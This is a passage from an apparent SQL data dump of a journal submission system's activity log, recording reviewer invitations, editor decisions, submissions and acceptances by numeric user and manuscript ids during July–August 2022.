Reviewer',12862,'Publisher',988),(119647,'2022-07-20 13:42:13','Publisher has Invited Reviewer',12862,'Publisher',988),(119648,'2022-07-20 13:42:18','Publisher has Invited Reviewer',12862,'Publisher',988),(119649,'2022-07-20 13:42:23','Publisher has Invited Reviewer',12862,'Publisher',988),(119650,'2022-07-20 13:42:28','Publisher has Invited Reviewer',12862,'Publisher',988),(119651,'2022-07-20 13:42:32','Publisher has Invited Reviewer',12862,'Publisher',988),(119652,'2022-07-20 13:42:37','Publisher has Invited Reviewer',12862,'Publisher',988),(119653,'2022-07-20 17:07:59','Publisher has been Accepted Articles  article',12562,'Publisher',319),(119654,'2022-07-20 17:18:05','Publisher has been Assigned Editor',12860,'Publisher',972),(119655,'2022-07-20 17:39:36','Publisher has Invited Reviewer',12860,'Publisher',972),(119656,'2022-07-20 17:39:40','Publisher has Invited Reviewer',12860,'Publisher',972),(119657,'2022-07-20 17:39:45','Publisher has Invited Reviewer',12860,'Publisher',972),(119658,'2022-07-20 17:39:50','Publisher has Invited Reviewer',12860,'Publisher',972),(119659,'2022-07-20 18:36:35','Reviewer has submitted comments',12858,'Reviewer',21377),(119660,'2022-07-21 10:39:50','Publisher has Invited Reviewer',12860,'Publisher',972),(119661,'2022-07-21 10:39:55','Publisher has Invited Reviewer',12860,'Publisher',972),(119662,'2022-07-21 10:40:00','Publisher has Invited Reviewer',12860,'Publisher',972),(119663,'2022-07-22 14:05:14','Reviewer has submitted comments',12695,'Reviewer',21374),(119664,'2022-07-22 14:07:14','Editor has been Editor Decision Accepted article',12695,'Editor',195),(119665,'2022-07-22 14:09:12','Publisher has been Accepted Articles  article',12695,'Publisher',48),(119666,'2022-07-22 14:09:25','Publisher has been Accepted Articles  article',12695,'Publisher',48),(119667,'2022-07-22 15:55:13','Publisher has Invited Reviewer',12848,'Publisher',48),(119668,'2022-07-22 15:55:18','Publisher has Invited Reviewer',12848,'Publisher',48),(119669,'2022-07-22 16:59:11','Manuscript Submitted by Author using Submission form',12866,'Author',13089),(119670,'2022-07-22 17:54:47','Publisher has Invited Reviewer',12860,'Publisher',972),(119671,'2022-07-22 17:54:52','Publisher has Invited Reviewer',12860,'Publisher',972),(119672,'2022-07-22 17:54:57','Publisher has Invited Reviewer',12860,'Publisher',972),(119673,'2022-07-22 19:26:14','Manuscript Submitted by Author using Submission form',12867,'Author',13090),(119674,'2022-07-23 09:13:20','Publisher has Invited Reviewer',12838,'Publisher',988),(119675,'2022-07-23 09:13:24','Publisher has Invited Reviewer',12838,'Publisher',988),(119676,'2022-07-23 09:13:29','Publisher has Invited Reviewer',12838,'Publisher',988),(119677,'2022-07-23 09:13:34','Publisher has Invited Reviewer',12838,'Publisher',988),(119678,'2022-07-23 09:13:38','Publisher has Invited Reviewer',12838,'Publisher',988),(119679,'2022-07-23 09:13:43','Publisher has Invited Reviewer',12838,'Publisher',988),(119680,'2022-07-23 09:13:48','Publisher has Invited Reviewer',12838,'Publisher',988),(119681,'2022-07-24 16:23:31','Manuscript Submitted by Author using Submission form',12868,'Author',13091),(119682,'2022-07-25 10:17:29','Manuscript Submitted by Author using Submission form',12869,'Author',13092),(119683,'2022-07-25 10:19:35','Manuscript Submitted by Author using Submission form',12870,'Author',13093),(119684,'2022-07-25 10:35:57','Publisher has Invited Reviewer',12781,'Publisher',988),(119685,'2022-07-25 11:06:35','Publisher has been Accepted Articles  article',9419,'Publisher',645),(119686,'2022-07-25 13:06:10','Publisher has been Assigned Editor',12867,'Publisher',48),(119687,'2022-07-25 13:43:27','Publisher has Invited Reviewer',12838,'Publisher',988),(119688,'2022-07-25 13:43:54','Publisher has Invited Reviewer',12781,'Publisher',988),(119689,'2022-07-25 15:41:48','Publisher has been Accepted Articles  article',9420,'Publisher',645),(119690,'2022-07-25 16:50:21','Publisher has Invited Reviewer',12177,'Publisher',988),(119691,'2022-07-25 17:06:06','Publisher has been Accepted Articles  article',9421,'Publisher',645),(119692,'2022-07-25 22:46:23','Reviewer has submitted comments',12838,'Reviewer',21476),(119693,'2022-07-25 22:59:30','Reviewer has submitted comments',12781,'Reviewer',21476),(119694,'2022-07-26 10:57:22','Publisher has Invited Reviewer',12867,'Publisher',48),(119695,'2022-07-26 10:57:27','Publisher has Invited Reviewer',12867,'Publisher',48),(119696,'2022-07-26 10:57:31','Publisher has Invited Reviewer',12867,'Publisher',48),(119697,'2022-07-26 10:57:36','Publisher has Invited Reviewer',12867,'Publisher',48),(119698,'2022-07-26 10:57:41','Publisher has Invited Reviewer',12867,'Publisher',48),(119699,'2022-07-26 10:57:45','Publisher has Invited Reviewer',12867,'Publisher',48),(119700,'2022-07-26 10:57:50','Publisher has Invited Reviewer',12867,'Publisher',48),(119701,'2022-07-26 10:57:55','Publisher has Invited Reviewer',12867,'Publisher',48),(119702,'2022-07-26 10:58:00','Publisher has Invited Reviewer',12867,'Publisher',48),(119703,'2022-07-26 11:02:42','Publisher has Invited Reviewer',12861,'Publisher',75),(119704,'2022-07-26 11:02:46','Publisher has Invited Reviewer',12861,'Publisher',75),(119705,'2022-07-26 11:02:51','Publisher has Invited Reviewer',12861,'Publisher',75),(119706,'2022-07-26 11:02:56','Publisher has Invited Reviewer',12861,'Publisher',75),(119707,'2022-07-26 11:03:01','Publisher has Invited Reviewer',12861,'Publisher',75),(119708,'2022-07-26 13:13:27','Publisher has been Withdrawn  article',8514,'Publisher',645),(119709,'2022-07-26 13:24:26','Editor has Accepted to review Manuscript',12324,'Editor',221),(119710,'2022-07-26 13:24:43','Editor has been Editor Decision Accepted article',12324,'Editor',221),(119711,'2022-07-26 13:25:51','Publisher has been Accepted Articles  article',12324,'Publisher',84),(119712,'2022-07-26 13:45:44','Reviewer has submitted comments',12104,'Reviewer',17409),(119713,'2022-07-26 13:47:07','Reviewer has submitted comments',12819,'Reviewer',18427),(119714,'2022-07-26 13:49:05','Publisher : Notified Editor',12819,'Publisher',988),(119715,'2022-07-26 13:50:23','Publisher : Notified Editor',12104,'Publisher',988),(119716,'2022-07-26 13:51:36','Editor has Accepted to review Manuscript',12819,'Editor',1779),(119717,'2022-07-26 13:51:50','Editor has been Editor Decision Accepted article',12819,'Editor',1779),(119718,'2022-07-26 13:52:42','Editor has Accepted to review Manuscript',12104,'Editor',1410),(119719,'2022-07-26 13:52:56','Editor has been Editor Decision Accepted article',12104,'Editor',1410),(119720,'2022-07-26 13:53:43','Publisher: Accept Notification has been sent to Author',12104,'Publisher',988),(119721,'2022-07-26 13:54:08','Publisher: Accept Notification has been sent to Author',12819,'Publisher',988),(119722,'2022-07-26 13:54:23','Editor has Invited Reviewer',12502,'Editor',1749),(119723,'2022-07-26 13:54:24','Editor has Invited Reviewer',12502,'Editor',1749),(119724,'2022-07-26 13:54:26','Editor has Invited Reviewer',12502,'Editor',1749),(119725,'2022-07-26 13:54:28','Editor has Invited Reviewer',12502,'Editor',1749),(119726,'2022-07-26 13:54:29','Editor has Invited Reviewer',12502,'Editor',1749),(119727,'2022-07-26 13:54:30','Editor has Invited Reviewer',12502,'Editor',1749),(119728,'2022-07-26 13:54:32','Editor has Invited Reviewer',12502,'Editor',1749),(119729,'2022-07-26 13:54:33','Editor has Invited Reviewer',12502,'Editor',1749),(119730,'2022-07-26 13:54:34','Editor has Invited Reviewer',12502,'Editor',1749),(119731,'2022-07-26 13:54:35','Editor has Invited Reviewer',12502,'Editor',1749),(119732,'2022-07-26 13:54:36','Editor has Invited Reviewer',12502,'Editor',1749),(119733,'2022-07-26 13:54:37','Publisher has been Accepted Articles  article',12104,'Publisher',988),(119734,'2022-07-26 13:54:37','Editor has Invited Reviewer',12502,'Editor',1749),(119735,'2022-07-26 13:54:38','Editor has Invited Reviewer',12502,'Editor',1749),(119736,'2022-07-26 13:54:39','Editor has Invited Reviewer',12502,'Editor',1749),(119737,'2022-07-26 13:54:39','Editor has Invited Reviewer',12502,'Editor',1749),(119738,'2022-07-26 13:54:41','Editor has Invited Reviewer',12502,'Editor',1749),(119739,'2022-07-26 13:54:42','Editor has Invited Reviewer',12502,'Editor',1749),(119740,'2022-07-26 13:54:43','Editor has Invited Reviewer',12502,'Editor',1749),(119741,'2022-07-26 13:55:00','Publisher has been Accepted Articles  article',12819,'Publisher',988),(119742,'2022-07-26 13:55:30','Publisher has Invited Reviewer',12862,'Publisher',988),(119743,'2022-07-26 13:56:11','Editor has Invited Reviewer',12499,'Editor',1749),(119744,'2022-07-26 13:56:12','Editor has Invited Reviewer',12499,'Editor',1749),(119745,'2022-07-26 13:56:14','Editor has Invited Reviewer',12499,'Editor',1749),(119746,'2022-07-26 13:56:15','Editor has Invited Reviewer',12499,'Editor',1749),(119747,'2022-07-26 13:56:15','Editor has Invited Reviewer',12499,'Editor',1749),(119748,'2022-07-26 15:31:09','Publisher has been Withdrawn  article',12833,'Publisher',984),(119749,'2022-07-26 15:34:07','Manuscript Submitted by Publisher',12871,'Publisher',984),(119750,'2022-07-26 16:47:47','Manuscript Submitted by Publisher',12872,'Publisher',84),(119751,'2022-07-26 17:05:28','Manuscript Submitted by Publisher',12873,'Publisher',984),(119752,'2022-07-26 17:10:14','Manuscript Submitted by Publisher',12874,'Publisher',84),(119753,'2022-07-26 17:14:17','Reviewer has submitted comments',12177,'Reviewer',17408),(119754,'2022-07-26 17:15:01','Publisher : Notified Editor',12177,'Publisher',988),(119755,'2022-07-26 17:15:59','Manuscript Submitted by Publisher',12875,'Publisher',84),(119756,'2022-07-26 17:16:00','Editor has Accepted to review Manuscript',12177,'Editor',1410),(119757,'2022-07-26 17:16:13','Editor has been Editor Decision Accepted article',12177,'Editor',1410),(119758,'2022-07-26 17:17:20','Publisher: Accept Notification has been sent to Author',12177,'Publisher',988),(119759,'2022-07-26 17:18:25','Publisher has been Accepted Articles  article',12177,'Publisher',988),(119760,'2022-07-26 17:21:36','Manuscript Submitted by Publisher',12876,'Publisher',84),(119761,'2022-07-26 17:36:29','Manuscript Submitted by Publisher',12877,'Publisher',84),(119762,'2022-07-26 17:41:21','Publisher has Invited Reviewer',12856,'Publisher',75),(119763,'2022-07-26 17:41:26','Publisher has Invited Reviewer',12856,'Publisher',75),(119764,'2022-07-26 17:41:32','Publisher has Invited Reviewer',12856,'Publisher',75),(119765,'2022-07-26 17:41:36','Publisher has Invited Reviewer',12856,'Publisher',75),(119766,'2022-07-26 17:41:42','Publisher has Invited Reviewer',12856,'Publisher',75),(119767,'2022-07-26 17:44:04','Publisher has Invited Reviewer',12859,'Publisher',75),(119768,'2022-07-26 17:44:08','Publisher has Invited Reviewer',12859,'Publisher',75),(119769,'2022-07-26 17:44:13','Publisher has Invited Reviewer',12859,'Publisher',75),(119770,'2022-07-26 17:44:18','Publisher has Invited Reviewer',12859,'Publisher',75),(119771,'2022-07-26 17:44:37','Publisher has Invited Reviewer',12859,'Publisher',75),(119772,'2022-07-26 17:44:42','Publisher has Invited Reviewer',12859,'Publisher',75),(119773,'2022-07-26 17:46:07','Publisher has been Assigned Editor',12841,'Publisher',673),(119774,'2022-07-26 17:47:02','Publisher has Invited Reviewer',12841,'Publisher',673),(119775,'2022-07-26 17:47:07','Publisher has Invited Reviewer',12841,'Publisher',673),(119776,'2022-07-26 17:47:11','Publisher has Invited Reviewer',12841,'Publisher',673),(119777,'2022-07-26 17:47:16','Publisher has Invited Reviewer',12841,'Publisher',673),(119778,'2022-07-26 17:47:21','Publisher has Invited Reviewer',12841,'Publisher',673),(119779,'2022-07-26 17:47:25','Publisher has Invited Reviewer',12841,'Publisher',673),(119780,'2022-07-26 17:47:30','Publisher has Invited Reviewer',12841,'Publisher',673),(119781,'2022-07-26 17:47:35','Publisher has Invited Reviewer',12841,'Publisher',673),(119782,'2022-07-26 17:47:40','Publisher has Invited Reviewer',12841,'Publisher',673),(119783,'2022-07-26 17:47:45','Publisher has Invited Reviewer',12841,'Publisher',673),(119784,'2022-07-26 17:47:49','Publisher has Invited Reviewer',12841,'Publisher',673),(119785,'2022-07-26 17:47:54','Publisher has Invited Reviewer',12841,'Publisher',673),(119786,'2022-07-26 17:47:58','Publisher has Invited Reviewer',12841,'Publisher',673),(119787,'2022-07-26 17:48:03','Publisher has Invited Reviewer',12841,'Publisher',673),(119788,'2022-07-26 17:48:08','Publisher has Invited Reviewer',12841,'Publisher',673),(119789,'2022-07-26 17:48:12','Publisher has Invited Reviewer',12841,'Publisher',673),(119790,'2022-07-26 17:48:17','Publisher has Invited Reviewer',12841,'Publisher',673),(119791,'2022-07-26 17:53:16','Manuscript Submitted by Publisher',12878,'Publisher',673),(119792,'2022-07-26 17:59:46','Manuscript Submitted by Publisher',12879,'Publisher',673),(119793,'2022-07-26 18:14:26','Manuscript Submitted by Publisher',12880,'Publisher',673),(119794,'2022-07-26 18:24:38','Manuscript Submitted by Publisher',12881,'Publisher',673),(119795,'2022-07-26 18:29:08','Manuscript Submitted by Publisher',12882,'Publisher',673),(119796,'2022-07-27 08:59:28','Manuscript Submitted by Publisher',12883,'Publisher',988),(119797,'2022-07-27 09:13:50','Manuscript Submitted by Author using Submission form',12884,'Author',13104),(119798,'2022-07-27 09:52:52','Publisher has been Assigned Editor',12870,'Publisher',988),(119799,'2022-07-27 09:54:37','Publisher has Invited Reviewer',12812,'Publisher',84),(119800,'2022-07-27 09:54:40','Publisher has Invited Reviewer',12812,'Publisher',84),(119801,'2022-07-27 09:54:41','Publisher has Invited Reviewer',12812,'Publisher',84),(119802,'2022-07-27 09:54:42','Publisher has Invited Reviewer',12812,'Publisher',84),(119803,'2022-07-27 09:54:44','Publisher has Invited Reviewer',12812,'Publisher',84),(119804,'2022-07-27 09:54:45','Publisher has Invited Reviewer',12812,'Publisher',84),(119805,'2022-07-27 09:54:46','Publisher has Invited Reviewer',12812,'Publisher',84),(119806,'2022-07-27 09:59:09','Reviewer has submitted comments',12177,'Reviewer',21475),(119807,'2022-07-27 09:59:13','Reviewer has submitted comments',12177,'Reviewer',21475),(119808,'2022-07-27 10:23:48','Manuscript Updated',12870,'Publisher',988),(119809,'2022-07-27 10:25:23','Publisher has been Accepted Articles  article',12870,'Publisher',988),(119810,'2022-07-27 12:38:58','Reviewer has submitted comments',12862,'Reviewer',21475),(119811,'2022-07-27 12:44:54','Reviewer has updated comments',12862,'Reviewer',21475),(119812,'2022-07-27 12:44:59','Reviewer has updated comments',12862,'Reviewer',21475),(119813,'2022-07-27 12:45:25','Reviewer has updated comments',12862,'Reviewer',21475),(119814,'2022-07-27 12:45:42','Reviewer has updated comments',12862,'Reviewer',21475),(119815,'2022-07-27 12:48:55','Reviewer has updated comments',12862,'Reviewer',21475),(119816,'2022-07-27 15:28:51','Manuscript Submitted by Author using Submission form',12885,'Author',13105),(119817,'2022-07-27 15:48:13','Publisher has Invited Reviewer',12836,'Publisher',48),(119818,'2022-07-27 15:48:18','Publisher has Invited Reviewer',12836,'Publisher',48),(119819,'2022-07-27 15:48:23','Publisher has Invited Reviewer',12836,'Publisher',48),(119820,'2022-07-27 15:48:28','Publisher has Invited Reviewer',12836,'Publisher',48),(119821,'2022-07-27 15:48:32','Publisher has Invited Reviewer',12836,'Publisher',48),(119822,'2022-07-27 15:53:07','Editor has Accepted to review Manuscript',9183,'Editor',634),(119823,'2022-07-27 15:53:38','Editor has been Editor Decision Accepted article',9183,'Editor',634),(119824,'2022-07-27 15:54:51','Publisher has been Accepted Articles  article',9183,'Publisher',645),(119825,'2022-07-27 17:20:54','Manuscript Updated',12671,'Publisher',84),(119826,'2022-07-27 19:13:27','Reviewer has updated comments',12862,'Reviewer',21475),(119827,'2022-07-27 19:13:51','Reviewer has updated comments',12862,'Reviewer',21475),(119828,'2022-07-28 10:57:13','Publisher has been Assigned Editor',12865,'Publisher',376),(119829,'2022-07-28 10:57:59','Manuscript Updated',12865,'Publisher',376),(119830,'2022-07-28 10:59:40','Editor has Accepted to review Manuscript',12865,'Editor',1452),(119831,'2022-07-28 11:00:01','Editor has been Editor Decision Accepted article',12865,'Editor',1452),(119832,'2022-07-28 11:01:43','Manuscript Updated',12865,'Publisher',376),(119833,'2022-07-28 13:33:30','Publisher has Invited Reviewer',12841,'Publisher',673),(119834,'2022-07-28 13:33:34','Publisher has Invited Reviewer',12841,'Publisher',673),(119835,'2022-07-28 13:33:39','Publisher has Invited Reviewer',12841,'Publisher',673),(119836,'2022-07-28 13:33:44','Publisher has Invited Reviewer',12841,'Publisher',673),(119837,'2022-07-28 13:33:49','Publisher has Invited Reviewer',12841,'Publisher',673),(119838,'2022-07-28 13:39:37','Manuscript Submitted by Author using Submission form',12886,'Author',13107),(119839,'2022-07-28 13:43:17','Manuscript Submitted by Publisher',12887,'Publisher',673),(119840,'2022-07-28 13:47:50','Publisher has Invited Reviewer',12812,'Publisher',84),(119841,'2022-07-28 13:47:52','Publisher has Invited Reviewer',12812,'Publisher',84),(119842,'2022-07-28 13:47:55','Publisher has Invited Reviewer',12812,'Publisher',84),(119843,'2022-07-28 13:47:57','Publisher has Invited Reviewer',12812,'Publisher',84),(119844,'2022-07-28 13:47:59','Publisher has Invited Reviewer',12812,'Publisher',84),(119845,'2022-07-28 14:15:54','Manuscript Submitted by Author using Submission form',12888,'Author',13108),(119846,'2022-07-28 15:03:10','Manuscript Submitted by Author using Submission form',12890,'Author',13110),(119847,'2022-07-28 16:51:50','Publisher has been Accepted Articles  article',9422,'Publisher',645),(119848,'2022-07-29 10:05:44','Manuscript Submitted by Author using Submission form',12891,'Author',13111),(119849,'2022-07-29 11:09:53','Publisher : Notified Editor',12858,'Publisher',75),(119850,'2022-07-29 11:10:20','Editor has Accepted to review Manuscript',12858,'Editor',161),(119851,'2022-07-29 11:10:31','Editor has been Revise (Notify Author) article',12858,'Editor',161),(119852,'2022-07-29 11:12:03','Publisher : Notified Author',12858,'Publisher',75),(119853,'2022-07-29 11:37:33','Manuscript Updated',12242,'Publisher',248),(119854,'2022-07-29 11:39:32','Editor has Accepted to review Manuscript',12242,'Editor',358),(119855,'2022-07-29 11:39:52','Editor has been Editor Decision Accepted article',12242,'Editor',358),(119856,'2022-07-29 11:41:09','Manuscript Updated',12242,'Publisher',248),(119857,'2022-07-29 11:42:59','Publisher has been Accepted Articles  article',12242,'Publisher',248),(119858,'2022-07-29 11:43:02','Publisher has been Accepted Articles  article',12242,'Publisher',248),(119859,'2022-07-29 11:44:57','Manuscript Updated',11294,'Publisher',248),(119860,'2022-07-29 11:45:37','Publisher has been Accepted Articles  article',11294,'Publisher',248),(119861,'2022-07-29 11:47:21','Manuscript Updated',12826,'Publisher',1009),(119862,'2022-07-29 11:49:05','Publisher has been Accepted Articles  article',12826,'Publisher',1009),(119863,'2022-07-29 13:01:26','Publisher has been Accepted Articles  article',12503,'Publisher',1009),(119864,'2022-07-29 13:04:48','Manuscript Updated',12501,'Publisher',1009),(119865,'2022-07-29 13:05:37','Publisher has been Accepted Articles  article',12501,'Publisher',1009),(119866,'2022-07-29 13:06:43','Publisher has been Accepted Articles  article',12500,'Publisher',1009),(119867,'2022-07-29 13:06:45','Publisher has been Accepted Articles  article',12500,'Publisher',1009),(119868,'2022-07-29 14:59:08','Manuscript Updated',11846,'Publisher',248),(119869,'2022-07-29 14:59:38','Publisher has been Accepted Articles  article',11846,'Publisher',248),(119870,'2022-07-29 15:07:46','Manuscript Submitted by Author using Submission form',12892,'Author',13112),(119871,'2022-07-29 15:32:46','Manuscript Updated',12815,'Publisher',248),(119872,'2022-07-29 15:33:22','Publisher has been Accepted Articles  article',12815,'Publisher',248),(119873,'2022-07-29 16:47:01','Manuscript Updated',12814,'Publisher',248),(119874,'2022-07-29 16:47:59','Publisher has been Accepted Articles  article',12814,'Publisher',248),(119875,'2022-07-29 17:41:31','Manuscript Submitted by Author using Submission form',12893,'Author',13113),(119876,'2022-07-29 21:58:23','Manuscript Submitted by Author using Submission form',12894,'Author',13114),(119877,'2022-07-30 09:38:07','Manuscript Updated',12865,'Publisher',376),(119878,'2022-07-30 09:38:52','Publisher has Invited Reviewer',12865,'Publisher',376),(119879,'2022-07-30 09:38:57','Publisher has Invited Reviewer',12865,'Publisher',376),(119880,'2022-07-30 09:39:02','Publisher has Invited Reviewer',12865,'Publisher',376),(119881,'2022-07-30 09:39:07','Publisher has Invited Reviewer',12865,'Publisher',376),(119882,'2022-07-30 09:39:11','Publisher has Invited Reviewer',12865,'Publisher',376),(119883,'2022-07-30 09:39:16','Publisher has Invited Reviewer',12865,'Publisher',376),(119884,'2022-07-30 11:41:30','Publisher has been Accepted Articles  article',10483,'Publisher',1009),(119885,'2022-07-30 12:09:08','Editor has Accepted to review Manuscript',12859,'Editor',162),(119886,'2022-07-30 12:09:32','Editor has been Editor Decision Accepted article',12859,'Editor',162),(119887,'2022-07-30 12:09:33','Editor has been Editor Decision Accepted article',12859,'Editor',162),(119888,'2022-07-30 12:10:38','Publisher: Accept Notification has been sent to Author',12859,'Publisher',75),(119889,'2022-07-30 12:10:59','Publisher has been Accepted Articles  article',12859,'Publisher',75),(119890,'2022-07-31 00:02:31','Manuscript Submitted by Author using Submission form',12895,'Author',13115),(119891,'2022-08-01 09:27:26','Publisher has been Assigned Editor',12871,'Publisher',984),(119892,'2022-08-01 09:27:45','Publisher has been Assigned Editor',12873,'Publisher',984),(119893,'2022-08-01 18:14:52','Manuscript Updated',12662,'Publisher',248),(119894,'2022-08-02 09:10:34','Reviewer has submitted comments',12840,'Reviewer',21392),(119895,'2022-08-02 09:44:21','Publisher has been Assigned Editor',12868,'Publisher',988),(119896,'2022-08-02 09:44:41','Publisher has been Assigned Editor',12885,'Publisher',988),(119897,'2022-08-02 09:45:01','Publisher has been Assigned Editor',12883,'Publisher',988),(119898,'2022-08-02 09:45:16','Publisher has been Assigned Editor',12869,'Publisher',988),(119899,'2022-08-02 09:45:53','Publisher has Invited Reviewer',12885,'Publisher',988),(119900,'2022-08-02 09:45:58','Publisher has Invited Reviewer',12885,'Publisher',988),(119901,'2022-08-02 09:46:03','Publisher has Invited Reviewer',12885,'Publisher',988),(119902,'2022-08-02 09:46:08','Publisher has Invited Reviewer',12885,'Publisher',988),(119903,'2022-08-02 09:46:13','Publisher has Invited Reviewer',12885,'Publisher',988),(119904,'2022-08-02 09:48:00','Publisher has Invited Reviewer',12883,'Publisher',988),(119905,'2022-08-02 09:48:06','Publisher has Invited Reviewer',12883,'Publisher',988),(119906,'2022-08-02 09:48:11','Publisher has Invited Reviewer',12883,'Publisher',988),(119907,'2022-08-02 09:48:16','Publisher has Invited Reviewer',12883,'Publisher',988),(119908,'2022-08-02 09:49:08','Publisher has Invited Reviewer',12868,'Publisher',988),(119909,'2022-08-02 09:49:13','Publisher has Invited Reviewer',12868,'Publisher',988),(119910,'2022-08-02 09:49:18','Publisher has Invited Reviewer',12868,'Publisher',988),(119911,'2022-08-02 09:49:23','Publisher has Invited Reviewer',12868,'Publisher',988),(119912,'2022-08-02 09:49:27','Publisher has Invited Reviewer',12868,'Publisher',988),(119913,'2022-08-02 09:56:02','Manuscript Updated',12869,'Publisher',988),(119914,'2022-08-02 09:56:36','Publisher has been Accepted Articles  article',12869,'Publisher',988),(119915,'2022-08-02 09:56:38','Publisher has been Accepted Articles  article',12869,'Publisher',988),(119916,'2022-08-02 10:30:37','Editor has Accepted to review Manuscript',12870,'Editor',1779),(119917,'2022-08-02 10:30:43','Editor has Accepted to review Manuscript',12869,'Editor',1779),(119918,'2022-08-02 10:30:49','Editor has Accepted to review Manuscript',12862,'Editor',1779),(119919,'2022-08-02 10:30:59','Editor has Accepted to review Manuscript',12781,'Editor',1779),(119920,'2022-08-02 10:31:30','Editor has been Editor Decision Accepted article',12862,'Editor',1779),(119921,'2022-08-02 10:31:44','Editor has been Editor Decision Accepted article',12781,'Editor',1779),(119922,'2022-08-02 10:32:22','Editor has Accepted to review Manuscript',12838,'Editor',1410),(119923,'2022-08-02 10:32:27','Editor has Accepted to review Manuscript',12818,'Editor',1410),(119924,'2022-08-02 10:32:38','Editor has been Editor Decision Accepted article',12838,'Editor',1410),(119925,'2022-08-02 10:34:13','Publisher: Accept Notification has been sent to Author',12781,'Publisher',988),(119926,'2022-08-02 10:34:37','Publisher: Accept Notification has been sent to Author',12838,'Publisher',988),(119927,'2022-08-02 10:35:05','Publisher: Accept Notification has been sent to Author',12862,'Publisher',988),(119928,'2022-08-02 10:35:27','Publisher: Accept Notification has been sent to Author',12838,'Publisher',988),(119929,'2022-08-02 10:36:09','Publisher has been Accepted Articles  article',12781,'Publisher',988),(119930,'2022-08-02 10:37:50','Publisher has been Accepted Articles  article',12838,'Publisher',988),(119931,'2022-08-02 10:38:38','Publisher has been Accepted Articles  article',12862,'Publisher',988),(119932,'2022-08-02 10:44:47','Reviewer has submitted comments',12883,'Reviewer',21475),(119933,'2022-08-02 12:16:02','Manuscript Submitted by Author using Submission form',12896,'Author',13116),(119934,'2022-08-02 13:21:28','Publisher has been Withdrawn  article',10872,'Publisher',1009),(119935,'2022-08-02 15:31:51','Reviewer has submitted comments',12835,'Reviewer',21416),(119936,'2022-08-02 15:32:17','Editor has Accepted to review Manuscript',12835,'Editor',190),(119937,'2022-08-02 15:32:26','Editor has been Editor Decision Accepted article',12835,'Editor',190),(119938,'2022-08-02 15:33:25','Publisher has been Accepted Articles  article',12835,'Publisher',48),(119939,'2022-08-02 16:35:10','Manuscript Submitted by Author using Submission form',12897,'Author',13117),(119940,'2022-08-03 10:19:14','Publisher has been Assigned Editor',12895,'Publisher',984),(119941,'2022-08-03 10:25:07','Reviewer has submitted comments',12885,'Reviewer',20788),(119942,'2022-08-03 10:26:01','Publisher : Notified Editor',12885,'Publisher',988),(119943,'2022-08-03 10:26:30','Editor has Accepted to review Manuscript',12885,'Editor',1410),(119944,'2022-08-03 10:26:40','Editor has been Editor Decision Accepted article',12885,'Editor',1410),(119945,'2022-08-03 10:27:27','Publisher: Accept Notification has been sent to Author',12885,'Publisher',988),(119946,'2022-08-03 10:43:21','Publisher has been Withdrawn  article',11323,'Publisher',248),(119947,'2022-08-03 11:36:02','Publisher has Invited Reviewer',12860,'Publisher',972),(119948,'2022-08-03 11:36:47','Publisher has Invited Reviewer',12860,'Publisher',972),(119949,'2022-08-03 11:52:15','Publisher has been Assigned Editor',12892,'Publisher',376),(119950,'2022-08-03 11:52:47','Publisher has been Assigned Editor',12884,'Publisher',376),(119951,'2022-08-03 12:15:08','Manuscript Updated',12885,'Publisher',988),(119952,'2022-08-03 12:15:33','Publisher has been Accepted Articles  article',12885,'Publisher',988),(119953,'2022-08-03 14:16:30','Editor has Accepted to review Manuscript',12892,'Editor',1781),(119954,'2022-08-03 14:16:45','Editor has been Editor Decision Accepted article',12892,'Editor',1781),(119955,'2022-08-03 14:17:12','Editor has Invited Reviewer',12892,'Editor',1781),(119956,'2022-08-03 14:17:17','Editor has Invited Reviewer',12892,'Editor',1781),(119957,'2022-08-03 14:17:22','Editor has Invited Reviewer',12892,'Editor',1781),(119958,'2022-08-03 14:17:27','Editor has Invited Reviewer',12892,'Editor',1781),(119959,'2022-08-03 14:17:32','Editor has Invited Reviewer',12892,'Editor',1781),(119960,'2022-08-03 14:17:36','Editor has Invited Reviewer',12892,'Editor',1781),(119961,'2022-08-03 14:17:41','Editor has Invited Reviewer',12892,'Editor',1781),(119962,'2022-08-03 14:17:46','Editor has Invited Reviewer',12892,'Editor',1781),(119963,'2022-08-03 14:17:50','Editor has Invited Reviewer',12892,'Editor',1781),(119964,'2022-08-03 14:17:55','Editor has Invited Reviewer',12892,'Editor',1781),(119965,'2022-08-03 14:18:00','Editor has Invited Reviewer',12892,'Editor',1781),(119966,'2022-08-03 14:18:05','Editor has Invited Reviewer',12892,'Editor',1781),(119967,'2022-08-03 14:18:09','Editor has Invited Reviewer',12892,'Editor',1781),(119968,'2022-08-03 14:18:14','Editor has Invited Reviewer',12892,'Editor',1781),(119969,'2022-08-03 14:21:30','Editor has Invited Reviewer',12884,'Editor',1705),(119970,'2022-08-03 14:21:35','Editor has Invited Reviewer',12884,'Editor',1705),(119971,'2022-08-03 15:41:24','Publisher has been Assigned Editor',12876,'Publisher',84),(119972,'2022-08-03 15:50:29','Manuscript Updated',11598,'Publisher',645),(119973,'2022-08-03 15:50:36','Editor has Accepted to review Manuscript',12874,'Editor',221),(119974,'2022-08-03 15:50:55','Editor has been Editor Decision Accepted article',12874,'Editor',221),(119975,'2022-08-03 15:51:05','Editor has Accepted to review Manuscript',12875,'Editor',221),(119976,'2022-08-03 15:51:12','Publisher has been Accepted Articles  article',11598,'Publisher',645),(119977,'2022-08-03 15:51:19','Editor has been Editor Decision Accepted article',12875,'Editor',221),(119978,'2022-08-03 15:51:26','Editor has Accepted to review Manuscript',12812,'Editor',221),(119979,'2022-08-03 15:51:38','Editor has been Editor Decision Accepted article',12812,'Editor',221),(119980,'2022-08-03 15:51:53','Editor has been Editor Decision Accepted article',12812,'Editor',221),(119981,'2022-08-03 15:52:45','Editor has Accepted to review Manuscript',12671,'Editor',222),(119982,'2022-08-03 15:53:00','Editor has been Editor Decision Accepted article',12671,'Editor',222),(119983,'2022-08-03 15:53:24','Editor has been Editor Decision Accepted article',11481,'Editor',222),(119984,'2022-08-03 15:53:56','Editor has been Editor Decision Accepted article',12671,'Editor',222),(119985,'2022-08-03 15:54:04','Editor has Accepted to review Manuscript',12872,'Editor',222),(119986,'2022-08-03 15:54:05','Editor has Accepted to review Manuscript',12872,'Editor',222),(119987,'2022-08-03 15:54:05','Editor has Accepted to review Manuscript',12872,'Editor',222),(119988,'2022-08-03 15:54:06','Editor has Accepted to review Manuscript',12872,'Editor',222),(119989,'2022-08-03 15:54:22','Editor has been Editor Decision Accepted article',12872,'Editor',222),(119990,'2022-08-03 15:54:33','Editor has Accepted to review Manuscript',12876,'Editor',222),(119991,'2022-08-03 15:54:34','Editor has Accepted to review 